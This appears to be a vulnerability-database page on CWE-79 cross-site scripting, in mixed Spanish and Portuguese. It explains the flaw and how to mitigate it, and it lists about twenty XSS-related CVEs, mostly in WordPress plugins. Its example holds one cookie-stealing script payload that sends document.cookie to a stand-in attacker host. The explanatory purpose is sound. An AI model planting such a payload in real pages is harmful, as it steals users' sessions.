Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22746MEDIUMWordPress HireHive Job Plugin plugin <= 2.9.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-3866MEDIUMNinja Forms Contact Form <= 3.8.15 - Reflected Self-Based Cross-Site Scripting via RefererEPSS 0.3%CVE-2025-22749MEDIUMWordPress Social Media Engine plugin <= 1.0.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34748HIGH@payloadcms/next has Stored XSS in Admin PanelEPSS 0.3%CVE-2025-23824MEDIUMWordPress FontAwesome.io ShortCodes plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4394MEDIUMGravity Forms <= 2.9.30 - Unauthenticated Stored Cross-Site Scripting via Credit Card 'Card Type' Sub-FieldEPSS 0.3%CVE-2025-6288MEDIUMPHPGurukul Bus Pass Management System Profile Page admin-profile.php cross site scriptingEPSS 0.3%CVE-2019-25387MEDIUMSmoothwall Express 3.1 'xtaccess.cgi' Cross-Site ScriptingEPSS 0.3%CVE-2025-22745MEDIUMWordPress Navigation Du Lapin Blanc plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-12141MEDIUMPremium Addons for Elementor <= 4.11.84 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'premium_tooltip_text' ParameterEPSS 0.3%CVE-2025-28895HIGHWordPress Custom top bar plugin <= 2.1 - Cross Site Request Forgery (CSRF) vulnerabilityEPSS 0.3%CVE-2025-30610MEDIUMWordPress WP Social Widget plugin <= 2.2.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-13391MEDIUMMicroPayments – Fans Paysite: Paid Creator Subscriptions, Digital Assets, Tokens Wallet <= 2.9.29 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-8146MEDIUMQi Addons for Elementor <= 1.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via TypeOut Text WidgetEPSS 0.3%CVE-2024-55546HIGHStored Cross-Site ScriptingEPSS 0.3%CVE-2024-13366MEDIUMSandbox <= 0.4 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2023-49780MEDIUMCross-site scripting vulnerability exists in acmailer CGI ver.4.0.5 and earlier. An arbitrary script may be executed on the web browser of tEPSS 0.3%CVE-2024-49523MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-28905HIGHWordPress Featured Posts Grid plugin <= 1.7 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2025-29573MEDIUMCross-Site Scripting (XSS) vulnerability exists in Mezzanine CMS 6.0.0 in the "View Entries" feature within the Forms module.EPSS 0.3%